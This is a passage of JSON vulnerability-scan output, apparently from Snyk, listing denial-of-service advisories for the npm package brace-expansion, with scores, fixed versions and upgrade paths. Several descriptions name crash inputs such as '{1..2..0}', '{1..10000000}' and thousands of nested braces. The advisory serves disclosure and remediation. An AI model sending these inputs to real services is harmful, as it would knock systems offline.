"https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": 